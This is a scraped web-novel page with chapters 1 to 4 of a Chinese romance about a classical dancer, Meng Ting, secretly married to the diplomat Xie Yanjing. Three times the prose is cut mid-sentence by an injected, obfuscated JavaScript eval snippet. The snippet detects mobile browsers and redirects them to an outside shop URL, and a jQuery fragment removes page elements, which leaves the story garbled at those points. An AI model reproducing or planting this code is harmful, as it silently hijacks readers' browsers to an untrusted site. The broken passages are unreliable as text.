《日落晚风里》 1. 第 1 章 秋霖脉脉。 一场夜雨过后,望公馆附近,梧桐叶落了一地。 这一片的梧桐都是民国时所栽,百年过去,繁盛依旧。深秋的风吹过,雾蒙蒙的一片,很像是印象派画家笔下的油画。 孟汀被窗外的鸟鸣声吵醒。 她睡觉本就轻,昨晚又被那事被折腾了半宿,睁眼时,整个人有种恍惚如梦的错觉。 八点钟,云姨准时来敲门。 “太太,您的早餐送过来了。” 闻此,孟汀匆匆忙忙找了件睡衣披上,去开门。 他没有留在这里吃早餐的习惯,今日也一样。 这是大家心知肚明的事情,将东西归置好之后,云姨还是解释了一句:“先生说自己有事先走,让您吃完早饭再去剧院。” 孟汀低低“嗯”了一声,想到什么,又礼貌道,“云姨,麻烦您了。” 少女声音本来就软,因为刚刚起床,带了点嗡鸣。 云姨笑着解释:“太太和先生不常来,哪里谈得上麻烦。” “况且,这也是先生特地嘱咐的。” 很平常的一句话,孟汀的脸上却泛起了红晕。 一切妥帖后,云姨留下一句“太太您慢用”便离开了。 望公馆的早餐一向很丰盛,中式和西式各一份,刚刚烘焙好的法式牛角包,包裹着黄油的香甜气息,同塞纳河边那家cafe里的味道没差别,另一份,浇头面、小笼包、蟹粉酥、雪泥红豆梗米粥,又是极地道的江南风味。 点睛的,还是正中间的那束芍药。 刚从庄园采摘空运过来,还沾染着清晨的露水,矜贵又稠艳。 烟粉色的花朵开的正盛,华丽的花瓣层层堆叠。 花上像往常一样点缀着一张卡片。 佛罗里达蓝的墨水,饱满又澄澈,落下来的字迹,是刚劲有力的瘦金体。 只有简单的两个字,却极具韵味。 孟汀出神地盯了一会,然后将卡片摘下。 三年了,他还是会和从前一样说早安。 - 今天剧院有彩排,从望公馆出发,至少要一个小时。 路上不出意料开始堵车,也幸好李叔车技好,赶在集合前将她送达。 此刻的剧院大厅里,已经聚满了即将上新的剧目《归去来兮》的演员。 孟汀也是其中的一员。 舞院毕业后,她便进了京市剧院的舞团。因为条件好,悟性高,孟汀很快就成了舞团的杠把子,新排的几场剧目,她的名字都赫然在列。 负责编舞的老师像往常一样点了个名,确定人齐后,就开始了紧锣密鼓地彩排。 而今日除了排练,还有一个重要的任务,确定领舞。 悠扬的古琴声骤然响起,像是山间流淌的泉水,铮然分明,演员们缓缓抬起手腕和脚尖,随着鼓点,有节奏地施展动作。 “归去来兮,田园将芜胡不归——” “舟遥遥以轻飏,风飘飘而吹衣。问征夫以前路,恨晨光之熹微——” 词曲未过半,结果其实已经很分明。 团里的三位编舞老师,都给了同一个人最高分—— 孟汀。 古典舞和其他舞不同,比起技巧和身段,更重韵律。 韵律非一朝一夕可达成,除了要有坚韧的意志力,还要有能勘破的灵气和悟性。 孟汀恰巧都有。 再观之她本人的长相,清清净净的一张小脸,五官轮廓柔和而干净,独有一种江南的温婉。 尤其是那双杏眼,眨起来时,如云似水,有种天然的敛净,和恬淡的主题再适配不过。 剧目共一个小时,中途再加上老师的调整时间,一曲舞毕,众人皆是大汗淋漓。 休息前,前排老师正式宣布:“这次的领舞,是孟汀。” 底下象征性地响起一阵掌声。 其实大部分人都觉得这个结果实至名归,但还是有人拿她入团时间短来说事。 意见最大的,是此刻正在喝水的洛薇。 她比孟汀早三年入团,孟汀没来之前,一直是领舞,猛然被压了一头,心里自然不舒服,此刻正阴阳怪气地发表评论:“到底还是年轻好啊,各方面都有资本。” 很短的一句话,独独将“资本”两个字念的格外的重,是人都能听清她含沙射影的是什么。 孟汀当年走的是名校引进,面试考场上,挤掉了好几个和她竞争的研究生,后来进入剧团,又因先天条件突出,独占鳌头。 那时就有风言风语,说她背景不简单。加上她本就不喜欢和人打交道,又从不透露家里的事情,更让人浮想联翩。 这种话听多了,只会庸人自扰,今日她也只当做没听见。 她是息事宁人性格的,但身边的徐倩不是。 刚刚她还在为孟汀当选领舞的事高兴,听到这句只觉得刺耳,当即就怼了回去:“薇薇姐的意思是,自己已经不年轻了?” 洛薇很明显地被噎了一下,回怼的话还没出口,徐倩已经挽着孟汀走了。 带着孟汀来到更衣室的徐倩,一脸的暗爽。 她性格素来爽快,早就看洛薇不顺眼了,明明是她帮孟汀出了口气,却还不忘安慰她一句:“别多想。” 孟汀摇摇头,轻声道:“没事。” 为了不让这个小插曲影响到心情,徐倩很快和她聊起别的。 她们附中时就是同学,现在又在同一个剧团,情谊自不必说,聊起天来,更是百无禁忌。 最近,徐倩迷恋起了社交媒体上的男人。 孟汀现在的聊天框里,还躺着徐倩发来的腹肌男视频。 没点开并非她本意,因为那时确实不是点开的好时机,尤其是身旁的那位还在解袖扣。 蓝宝石点缀的鸢尾图案,随意扔在茶几上,在冷白的灯光下闪着熠熠的光。 孟汀也不清楚她为什么还记得这些细节,好半晌,才把这些画面赶出脑海。 好在徐倩并没有提昨天的腹肌男,而是兴奋道:“宝宝!我现在觉得daddy好香!” 孟汀:“?” 她还未感慨一句你的口味未免转变的太快,就已经被展示了好几个最近的收藏。 直到徐倩翻看到最后一个。 原本不动声色的孟汀,下意识地攥了下裙角。 徐倩:“不知道你有没有看过这个视频,真的很火!” 说着,刷的一下就将手机怼在了孟汀眼前,不看都不行。 是网友剪的一个cut。 屏幕中,男人一身西装革履,禁欲端方,跟随着背影音乐的节奏,步伐沉稳而坚定地出入各种场合。 溶溶灯火落在他精致立体的五官上,每一寸都分明。 他的气质是平和的,但是趋近于强大才有的那种平和,眼神却很坚毅,甚至称得上强硬,必要时,也能够冷漠如冰。 这个视频她没有看过。 但是这个人,她却不能再熟悉。 外事部经贸会现任负责人,谢砚京。 “这位是真的厉害,好像三年前就开始火了,我竟然最近才知道。” “大数据为什么没有早点推给我,简直错亿!” 徐倩一边看一边感叹。 孟汀下意识地点了点头。 谢砚京确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620682|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是三年前进入的外事部。 他上任时已经足够低调,却还是被敏锐的网友察觉,一时间,学历、家庭、过往履历相继爆出,火的一发不可收拾。 这对他来说并没有什么,因为他本身就足够干净,谢家又是家风严苛的百年望族,又给他添了一层光环。 后来被相关人士透露出已婚的消息,才被理智粉丝以不干扰私生活,压下去了热度。 最近不知道为什么又火了起来。 发布者算是个理智粉,因此每一帧剪辑里,都会有意无意展示他左手上的婚戒,暗示大家理智追星。 其实,这只婚戒本身也是很多人的磕点。 修长指尖莹白如玉,就算是素环,也带出了一种天然的高级。 这一幕看的徐倩啧啧称赞,同时嘴角疯狂上扬:“他真是到哪里都要戴着这个戒指。” “简直不要太爱了吧!!!” “哎,你说这样一个极品,当他老婆是什么感受啊!” 徐倩放下手机,看向孟汀。 她向来不太会隐藏情绪,此刻心里又藏着事,猝不及防被这真诚目光一盯,连心跳都加快。 “可能……”为了不让徐倩看出什么,她努力让情绪平静,“不太回家?” 徐倩噗嗤一声笑出来。 她就知道,孟汀虽然话不多,但总能一语中的。 忽然,身后插来另外一个声音:“呦,说的你好像真的和他过过一样,白日梦也打个草稿好吧?” 闻声,两人同时回头。 洛薇不知何时进的门,用的刚好还是身后的密码柜。 显然她还对刚刚的事心怀芥蒂,并且有想将其愈演愈烈的意思。 徐倩回过神,瞪她一眼,这种吵架的事情怎么能少的了她,没想到还未开口,就被另一个声音捷足先登。 “那你呢?你知道?” 很清淡的一个声音,却有种独到的锋利。 徐倩下意识抬头,非常不可思议。 刚刚还息事宁人的孟汀,竟然主动开口了。 洛薇显然也没料到,下意识回了句:“……我怎么可能知道。” 孟汀盯着她,冷道:“那就不要议论。” 洛薇:“……” 就像是平日里从不反击的小猫咪,忽然亮出了自己的利爪。 一时间惊得洛薇不知所措。等她再次回过神时,孟汀已经拿着东西头也不回地离开了。 两人很快走远。 徐倩跟在她身后,表情意犹未尽:“汀汀,你今天好厉害啊!” 孟汀这才恍惚意识到刚刚发生了什么,不自然道:“……有吗?” “当然啊!有理有据,怼地她哑口无言,我后来想了一堆,发现都没你这句话更有说服力。” “她那都不算嘲讽了吧,简直就是拖着你和谢先生下水。” “这要放在娱乐圈,还不知道要起多大的风波。” 孟汀:“……倒也不必。” “怎么不必,你们两个这样冰清玉洁的人,决不能让洛薇造谣。” 徐倩眯着眼睛啧啧称赞,半晌后,眼睛忽然一亮,询问,“你是不是也吃这一款?” “什么?” “就是谢砚京那款……男人啊。” “……” 沉默半晌后,孟汀很轻地摇了下头。 徐倩瞪大眼睛:“诶?” 她还以为刚刚孟汀的反击,是对谢砚京的维护。 竟然不是吗? 只是,徐倩不知道的是,此刻,孟汀口中那个不吃的对象,发来消息。 【Y】:早上有不舒服吗? 2. 第 2 章 午饭吃的是徐倩找的干锅牛蛙店。 小店里面积不大,但生意极好。 炭火噼里啪啦地燃烧着,伴随着聊天声,气氛很热烈。 “汀汀,你在听我说话吗?”桌那头,徐倩给自己夹了片芹菜,刚刚她正对着洛薇一顿输出,没想到孟汀的反应却不大。 孟汀虽然专业突出,但是为人很低调,性格一点儿没有大众眼中领舞该有的强势,有时候还有些天然呆。 徐倩知道她刚刚肯定又在发呆,便重复道:“就洛薇那个婚事,你觉得能成吗?” “哦哦,你说这个。”孟汀回了下神,将手机屏幕锁住,搭话道,“网上不是说了吗,一起旅行是检验感情的绝佳机会……” 徐倩说洛薇傍上了个商界大佬,上周刚刚来了趟巴黎行,估计是行程中被那位商界大佬灌输了些理念,今天才会开口闭口谈资源。 徐倩叹了口气,担忧道:“你说他们万一真的成了,用那所谓的‘资源’,洛薇岂不是要在我们面前横着走了。” 孟汀垂了眼眸,没做声。 徐倩以为孟汀也在忧心,其实她的思绪早已经飞到了另外一件事上。 他不喜欢她晚回消息。 因此看到那条消息的瞬间,她的指尖就顿在了打字框的位置。 可要怎么回? 和他在一起的这三年,他回国的次数不算少,但每次都很匆忙。 要见她,也基本在离国的前一天。 而在一起,无非就是那事。 孟汀知道他有需求,其实她也有,在这个事情上,两人算是对等,只不过大部分时候,她都要顾着他的时间,除了这点限制,其他倒是没什么。 两人上一次见面还是三个月前,不知道是不是因为这个原因,他昨晚有些失去耐心,她就也没忍住,小声哼了两下。 可是之前也不是没有过这样的情况,尤其是去年的那次雨夜……她都不想说。 怎么今天突然问起这个? 小店里人声鼎沸,她也不敢多想,在徐倩絮絮叨叨地说话间隙,给他回了个消息。 汀:【还好】 发完后她心里一松。 飞机上十几个小时,他必定不会那么及时地回复。 只不过还没松快两秒钟,再次抬头时,眼前出现了另外一个身影。 “嗒”的一声过后,两人的座位前出现了两杯热腾腾的奶茶。 顺着奶茶往上,是一个熟悉的面容。 孟汀很快认出人。 男生叫周严,毕业于舞院编导专业,现在在她们剧团做舞美设计师。 对上孟汀的目光后,周严露出一个腼腆的笑,有些不好意思道:“上次的事情,一直没来得及谢你。” 他们两人还是同一年入的剧团,但一直到上周,才第一次接触。 那天,周严的显卡出了问题,导致原本要发布在舞团媒体号上的视频丢失,情急之下,找了孟汀帮忙。 她也没多想,当即拜托了三四个同事,帮他补拍了一小段。 其实当天,周严就给她们点了咖啡以示感谢,没想到今天碰上,又给她和徐倩点了奶茶。 殷勤地让孟汀有些招架不住。 看到孟汀眼中的拒绝,他连忙解释:“本来想替你们清单的,但是服务员说,你们已经验过券了,看到你们两个没喝的,就自作主张地点了一杯。” “其实你不用这么客气的……”孟汀不好意思道。 “上次的咖啡有些仓促,如果你不收,我可能会一直愧疚的。”说着,他有些不好意思地摸了摸头。 孟汀还是觉得收下有些不妥,正准备再次拒绝时,给干锅定时加水的阿姨却突然来了。 她拎了个大铜壶,一边走一边让过道上的人让让。 周严刚好顺势走开。 这一下,不接受都不行了。 刚好周严的朋友结完了账过来,他朝两人挥了挥手,直接走了。 两人走远了,徐倩端起奶茶端详:“这款是xtea最新联名款哎,听说很难排到,价格也不便宜,他还真是有心了。” 孟汀不太了解这些,只是很淡地应了声。 而此时,一直握在掌心里的手机震了震。 Y:【你在哪里?】 她以为那个应该在飞机上的对象,竟然回复了。 徐倩还在那儿研究奶茶,她刚好有空低头打字:【和倩倩在外面吃饭】 【你呢?已经到了吗】 Y:【嗯】 孟汀松了口气,心道既然他已经到了应该也没有别的什么事。 谁曾想。 Y:【我到学府苑楼下了】 孟汀:“???” 她太震惊了,以至于回复时甚至没过什么脑子,就直接发:【你到我家楼下了??】 发完之才又觉得,哪里好像怪怪的,特别是“我家”两个字。 尤其是,在他们当下的关系。 对方没再回话了,孟汀却莫名开始紧张。 一顿饭吃完,往常,两人会去附近的商场逛一逛。 但今天。 孟汀站起身,看了眼整理好手袋的徐倩,“抱歉啊倩倩,我得回家了。” 徐倩疑惑:“嗯?” 孟汀晃了晃手机,很诚实地解释:“家里来人了。” 徐倩知道她不是本地人,但很早就来了京市,猜着她大概在这边有投靠的亲戚,也就没多问,“好吧,那我也回去补个觉。” “嗯。” 孟汀小声应了下,两人各自起身。 临走前,孟汀望着桌子上自己那杯还没开封的奶茶,犹豫了下,最终还是拎在了手上。 * 出租车在小区门口停下。 14栋楼下,一辆黑车矗立。 银色飞天女神标,在日光下发出熠熠的光,流畅的车型掩在树影下,像是一尾高贵的鱼。 等到她靠近了些,车门才打开。 后座上的人放下手中的文件,慢条斯理地下车。 早上还在视频剪辑里的那个人,骤然出现在了眼前。 暗色西装,白衬衫,衬衫纽扣系到最上面一节,显出利落而有型的下颌线,温莎结打的一丝不苟,温沉儒雅的不像话。 和荧幕上的形象几乎没有区别。 若说有什么不同,就是现实中的他更显得轮廓精致,身形挺拔。 孟汀一米七七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620683|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身高,在他身边,都显不出什么优势。 深邃意沉的眼眸先是落在她的眼底,再然后,缓慢下移,定在她左手的方向。 孟汀吞咽了一下,拎奶茶的手下意识晃动一下,还以为他要说什么。 但很快,那道视线又漫不经心地挪过,带了点漠然。 孟汀抿了抿唇,小声询问:“你怎么来了……” 谢砚京还没回话,耳边传来阵阵脚步声,并几道打量的目光。 如此扎眼的身材,外加那身气质,无论在哪里,都是瞩目的存在,考虑到他的身份,孟汀没敢待,赶紧带着他上了楼。 她名下的房产有好几套,望公馆是一套,这里也是一套。 电梯抵达十二层,将各自安置安全的环境中,孟汀才终于再次开口,“有什么事吗?” 谢砚京没有直接回答,而是脱掉西装外套,熟稔地挂在门框的位置,又扯松了领带,将其完全解开。 接着,他毫无征兆地靠近,用指腹轻轻的刮了下她的面颊,垂眸对上她的视线,低沉着嗓音,淡道:“没事就不能过来?” 只见男人轻轻扯开最上面的衣扣,白色衬衫领口微敞的瞬间,凸显的喉结更加性感,半挽起的衣袖,露出冷白而劲瘦的腕骨。 屋内的灯光有些暗,将他掩在阴影里的眉眼,映出一股独特的韵味。 这是外人不曾见过的谢砚京,却是孟汀最熟悉的谢砚京。 三年时间,别的不好说,对他的某种认识,却有种刻骨的铭心。 她知道他表面上的禁欲端方,却也知道他禁欲端方的骨相下,是怎样荒谬的灵魂。 就像此刻,他如此自然地就将自己的指尖绕过她的发丝,蔓延到她的脖颈处,再顺着她那流畅的线条,宛如溪流般轻轻滑下。 粗粝指腹划过她柔软肌肤,带着极明显的狎昵,撩拨得她脸颊发热。 “我以为你已经走了……”感受着他的温度,她的呼吸也不自觉地变得灼热。 “今天不着急,还有时间。” 有时间做什么,自不必说。 三个月时间没见,昨晚那几次,确实算不上过瘾。 但也没必要这么频繁吧? 孟汀被他吞吐出来的气息弄得心尖发痒,却也放弃挣脱。 她向来知道他脾气,你越是挣脱,他便禁锢地越紧,于是她不敢过分往后退,只是用手臂撑在微撑在他胸口,维持着最后一点体面的距离。 “刚刚不是说还好?” 此刻,他的掌心已经蔓延到她的腰身,轻而易举地就将她代入自己的怀里。 “我今天……有点累了。” 她今天穿了条长裙,露出的小腿贴上他的西装裤,垂感极好的丝缎面料,顺着她的肌肤涤荡,让她本就紧绷的心脏成了一条线。 一股淡淡的冷香浸入鼻尖。 很清淡的木调香,嗅到的瞬间,宛如走入一座雨后的森林,足够高级,足够优雅。 可下一秒,他掌心触碰的位置,却和高级和优雅全然不沾边。 “是吗?”低醇的嗓音响起,疏离又冷清,却带着极明显的不容置喙。 “是因为排练累,还是因为收到不合心意的东西累?” 3. 第 3 章 孟汀心下一滞。 没什么特别指向的一句话,她却读懂了。 果然他还是在意那杯奶茶。 孟汀从不主动买这些东西,一则她因为脾胃虚弱,给她调理身体的中医特地嘱咐过,不让她碰这类东西,二则她是有些特殊的易过敏体质,只能吃特定的几种水果,在外售卖的奶茶和果茶,也从来不碰。 既然不是她买的,那自然是别人送的。 什么人送的。 以前也不是没碰过这样的事,谢砚京根本不问,统一确定为异性。 这会她目光很明显地闪躲了一下,想要避开他的目光。 可是他的力量太强硬,落进她视线的目光,锋利直白到避无可避,将她所有的心虚,全部收入眼底。 “事情不是你想象的那样……”孟汀低声解释着,本就微弱的声线中,还带了些颤抖。 不等她的话说完,原本环绕在腰处的力量,忽然强硬了不少。 下一瞬,她已经被他完全拥入怀中。 馥郁的冷香几乎要把她淹没,温热的掌心在她片柔软的花园中,百无禁忌的,像是昭示着自己的领地一样地,深沉地,一下又一下地揉着。 孟汀颤抖的更厉害了,她的脸红的厉害,眼底不经意地泛起阵阵红晕,可饶是如此,对方依然一点儿没有要作罢的意思。 他在惩罚她。 唇瓣被一个力量衔住,那力量先是试探,接着毫不犹豫地深入,占据。温度太灼人,搅动着周围的空气都变得浓稠凝滞,几乎要到让她窒息的程度。 这个吻比之前都要重,至于原因,两个人都心知肚明。 孟汀只祈祷他接下来能温柔一些。 可是听到他的下一句话,她就知道,刚刚的祈望,大概是奢求了。 他说:“下不为例。” …… 孟汀再次睁眼时,已经是黄昏时分。 初秋的京市,窗外起了阵风,吹得半红的栾树飒飒作响。 她望着窗外发了会呆,慢慢起身。 身旁的位置早已经空了,室内静的落针可闻。他离开的毫无踪迹,只有垃圾桶里的一小块狼狈,是证明他来过的证据。 早上的排练本来就很耗体力,下午还被折腾了一阵,这会起身,身子不经意开始酸痛。 她去客厅接了杯水。 也是此刻,她才发现,回来时被她随手放置在茶几上的奶茶早已不见踪迹,再一看角落里的垃圾桶—— 垃圾分类的处置,已经进行的很彻底了。 原来的位置,取而代之的,是一个白色的丝带礼盒。 非常显眼的C牌标志,在夕阳余晖下发出惹眼的光。 她慢腾腾走过去,丝带解开的瞬间,盒内宛若流光乍现。 白皙指尖将内里的东西拎起。 下一秒,双颊瞬间通红。 是一条新睡裙。 观之外形,和她前一日被撕破的那一套,几乎无异。 “……” 所以他今天过来,本来是送这个? 原本平静的心绪,又跳的有些乱,她将盒子一盖,胡乱塞进柜子里。 — 孟汀给自己煮了碗面,然后找了个环球旅行纪录片,一边吃面一边看。 这是她为数不多的娱乐活动,小时候她就想看看这个世界,只不过这些年,学习、毕业、工作,很少有一整段属于自己的时间,只能短暂地通过纪录片过过瘾。 公寓只有七十平,是三年前和谢砚京领证时,她给自己置办的。说来也是她幸运,那会她靠着一路过来的奖学金和比赛奖金,攒了一笔不少的存款,偏巧碰上卖家紧急出手,比市场价低了将近一半。 那时她还有很美好的幻想,切切实实地把这里当做家来装饰。 投影仪,低茶几,地毯,松软的云朵沙发,她想象中属于家的东西,一样都没有少。 期间谢砚京只来过一次,回去后,就将名下的望公馆转给了她。 他当时并没有说什么,孟汀却知道,这已经是很体面的嫌弃。 而第一次走进望公馆,她才对他属于的繁华世界有了更加清晰的认识。 望公馆建在半山的别墅区,主体是中西结合的四层楼,一进门,扑面而来便是松木和花香交织的高级香味,宴客厅、图书室、健身房、泳池,她曾经见过的所有奢华,在这里都能找到。 管家和佣人各司其职,严阵以待。 每日的餐食由厨房用电梯送至最顶层,从巨大的落地窗看过去,是随风摇曳的一片绿海。只是景色,就足够让人心旷神怡。 后来,他回国的时间,两人都只住在望公馆。 回到孟汀那栋小公寓的次数几乎约等于无。 所以她下午才会那么惊讶,脱口而出“我家”。 可是这对他又何尝不是一种权威的挑衅? 尤其是现在,在他们这样的关系下。 三年前,民政局那匆匆的十分钟后,两人就有了法律赋予的关系。这场婚姻虽然意外,但他也确实尽职尽责地履行着丈夫的责任。 从起初的早安和晚安,到后来从不落下的纪念日和节日。 可孟汀知道,事实并非如此。 他们两人的关系,远不是那个薄薄的小本子所能界定的。 可她也不愿多想。 至少此刻,她没有思考的权利。 * 等待巡演的日子往往是最难熬的。 领队老师用了大部分时间来抠细节,不容许发生任何的失误。大家的神经也随着不断提高的要求和排练时间抓狂。 孟汀其实还好,从小她对自己的要求就很严格,老师也一直对她寄予厚望。多年来,努力和勤奋几乎已经刻在了她的骨子里,是比吃饭睡觉更重要的事情,所以巡演前的训练对她来说算是毛毛雨。 徐倩就不一样了,她从小就算摸鱼党中的一员,每次一有这种大运动量训练的时候,完全就是被逼疯的状态。 造成的结果就是她越来越喜欢磕互联网上的男人,收藏夹里和谢砚京有关的视频也越来越多。 他的工作方式一向以强硬著称,因为文学素养强,自成节奏,不少采访被网友剪下来拼凑在一起,有些为人传颂,有些则为人所诟病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620684|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们不胁迫任何人,自然也不会被任何人所胁迫。” “把毒药投入酒杯里的人,有朝一日,也会饮鸩而亡。” “没有谁能逃过现世的裁判。” …… 徐倩一边看一边给她科普,叨叨地说个没停,孟汀未置一言的倾听,思绪却忍不住回忆。 这样的话,她很早便听到过。 “为什么要把辅助线画在那里,很好看吗?” “定理都看到你了,你却看不到它。” “那么明显的条件漏洞,你就那样无动于衷吗?” …… 那年她还在读附中,每天被即将到来的学考弄得焦头烂额。其他科目尚看的过去,唯独数学一门,宛若天敌。 那年的谢砚京还在R大读书,实在看不过去,便让她跟着自己补习。 他不让她四处乱跑,她就只能紧紧地跟着他,只不过那时候她太害羞,大部分时间都躲在没人注意的角落。 校园里的日光璀璨又明净,照得整个教室都明亮,孟汀透过那样的日光,看到过很多很多遍的谢砚京。 看到他在讲台上发言,簌簌的阳光落了满身,看到他在主席台上领奖,光线映在他白皙的面容上,满身清明。 无论是作业还是展示,被科任老师提起是家常便饭。 光荣榜里照片每年一换,他的永远在上面,连续霸榜四年。 学院的获奖展览处,一半的奖杯和奖状上都有他的名字。 甚至连体育老师,都诚心实意地感叹:“像他体质这样好的苗子不常见,要是能入我们学校校队,也不至于在去年输给京大了。” 用当年贴吧里的一句话说,大概就是,他的存在是让人仰望的,而不是让人超越的。 …… 孟汀想的投入,完全没意识到,徐倩的话题早已经从发言转到了他近日的行程。 “昨天他在波黎多各港口访问,今天应该会在J国和经济部的发言人共进晚餐。” “明后几天,他们一行人大概穿越J国和S国交界的雪山。” “下一周,应该会去参加Z国举办的经贸互助会开幕仪式。” “Z国……”徐倩疑惑地看了眼孟汀,“地图上有这个国家吗?” 此刻,孟汀的思绪也彻底被拉回。 她几乎是脱口而出:“有的,首都是迈马拉,虽然是个小国家,却是全球最大的香水原产国。” 徐倩盯着她,微怔一下。 指尖顿住刚刚打开的搜索框上。 孟汀被她的目光盯得有些心虚,欲盖弥彰地解释:“中学时地理学过,因为地名特殊,就记住了。” 徐倩茫然地眨了下眼。 在她看来,这个地名一点儿也不特殊,简直就是乱码一般的存在,和地理课本上那些很难记忆的小国名字没有区别。 幸好此时,团长召集大家集合继续训练。 徐倩没再继续询问,孟汀也如释重负般地将那点慌乱掩在心底。 她当然不会说,她记得那个名字,只是因为两年前,谢砚京曾在那里的港口,给她写过一首短诗。 4. 第 4 章 佛罗里达的蓝色字迹,陈列在浅黄色的明信片上,只有短短的四行,甚至称不上是诗,简单,干练,却透着某种宿命般的味道。 黄昏/晚风/港口细雨/都未及你。 白色的信封,印着红色火漆印,跟随着轮渡,山重水复,才终于抵达她的手边。 沉甸甸地拿在手里,承载着手机讯息不会有的重量。 浪漫得像是在恋爱。 但也只是像是而已。 孟汀心中短暂凝滞一瞬,心情像是浸润在清水里的柠檬片,泛出短暂的酸涩。 团长的声音在耳边响起,将她的思绪拉回。 “巡演第一场定在下周一晚上七点,演出地点是京市大剧院。” “大家一定要打起精神,做好最后的准备工作。” 孟汀和其他人一样翻出手机日历,看到日期的那一瞬间,掌心顿时涨了几分潮意。 下周一。 九月二十三。 那天刚好是他们领证三周年的纪念日。 团长又强调了许多注意事项,散会后,将她单独叫去一旁。 不知道是不是因为她刚刚跑神被团长看到,她关切地问了一句:“紧张吗?” 孟汀回神:“还好,团长。” “那就行。”团长说,“你压力也不要太大,我们都知道你的实力,只要放平心态,将平日里练习的水平展示出来就行,不要考虑太多,负担太多,只会成为路上的阻碍。” 孟汀听完,乖巧地应了声“嗯”。 回头准备离开时,碰到一个熟悉的身影。 周严正扛着自己的设备走过来,大概是刚刚结束拍摄工作,热得满头大汗。 自从上次在小饭馆见面后,两人时不时也会打个照面。 孟汀因为那天的奶茶被倒掉,对他有种莫名的歉意,所以能装作看不到尽量就装看不到。但今天,显然是装不了了。 “是要开始巡演了吗?看你们最近的日程很紧张。” 孟汀:“对,下周一。” “为了保证演出质量,临近演出前,一般都会加练。” 周严点了点头,复又忍不住挠头,“竟然是下一周吗?” 他叹了口气,遗憾道:“当天好像没排我的班,不然我还能跟组一起去欣赏下,你们排了这么久,呈现出来的舞台效果一定很震撼。” 他们组最近负责的是另外一场现代剧,京市剧院演出时进门的审核很严格,就算是剧院的工作人员,也不能随便入场。 “下次吧,下次有机会,我一定去看。”他又补充了一句。 孟汀顿了下。 这句话听上去像是在客气,却有种莫名的真诚。 这真诚,莫名加重了孟汀对他的愧疚。 她想了想,开口道:“其实我这有一张票,如果你真的想来看,我可以送你。” “真的?!”周严惊讶道。 《归去来兮》是今年京市剧院推出的爆款,线上票务系统一经发售就被抢购一空,甚至演员本人也都只分到了一张内场票。 周严也是想到了这一点,才又不好意思道:“会不会有些为难啊……” 孟汀知道他的担心,笑着回复:“没关系,刚好欠你一杯奶茶,这下我们两平了。” 她在京市没有特别特别亲密的朋友或亲人,放着也是浪费。 周严顿住,原本漾起的笑容僵了下,似乎在努力理解她话中的意思,但最后也只是点点头,“那真的谢谢了。” “那我是不是可以——”周严的话还没说完,孟汀便想起来什么似的,打开手边的小包,“对了,票就在这里。” 说着就递了过去。 “……” 他本来还想就这票务的事情,加她个联系方式。 一旁的徐倩赶了过来,周严没好意思多待,连忙走开了。 刚刚的一切尽收徐倩眼底,她一脸笑意地推了下孟汀,调侃道:“汀汀,你怎么回事。” 孟汀疑惑:“什么怎么回事?” 徐倩:“给票就给票,说什么两平。” 当局者迷,她是旁观者,很容易看出周严对孟汀的意思。 而且周严颜值尚可,个子也高,虽然和孟汀有些差距,但是比起之前给他递情书的那些歪瓜裂枣,已经算可以了。 谈一谈也不是不行。 孟汀却只是不在意地耸了下肩,既没有脸红心跳,也没有想要接她话的意思,淡得像一杯白水。 - 排练的最后几天,团长每天都像打了鸡血般给大家加油鼓劲。 所有人在排练室挥汗如雨,想出来透口气,却又不能。 连绵的秋雨下了一场又一场,道路上都是被雨水打落的枯枝败叶,透出几分萧条。 演出当天,天依然阴沉着,不时又开始落起了雨,敲在窗户上,发出沉闷的声响。 孟汀从一大早开始准备,一直忙到晚上七点钟,巡演正式开始。 作为京市剧院今年推出的精品,开场便座无虚席,除此之外,还邀请了不少文艺界或商政界的名流前来观看。 要不说孟汀是天生的舞者,这样的重大场合,她不仅没有紧张,反而更激发出一种很强烈的表现欲。 她一袭浅菊色的舞裙,站在聚光灯下。 眉黛如画,眼若星辰,皮肤莹白如玉,一颦一笑间,摇摇曳曳,将古韵气质拿捏到了极致。 霎时间,古琴声响,深邃沧远,动人至极,顷刻间就将人拉入舞者所构筑的世界中。 整个剧目以归隐为主题,并不单纯以陶公的经历为故事线,而是呈现出一个更宏大,更天然的主题,最终又将主题拉入中国传统文化,天人合一,在自然中寻求人生哲学和规律,以古观今,以古示今。 她自由地起势,旋转,跳跃,将自己的一腔热情,全部注入舞台之上。 “善万物之得时,感吾生之行休——” “富贵非吾愿,帝乡不可期——” “聊乘化以归尽,乐夫天命复奚疑——” 正如诗中所表达的,她所呈现的那样,不是一个人,一个社会,一个时代该何去何从,而是万物终生,如何在这纷繁复杂的世界中,如何遵从本心,舒展生命。 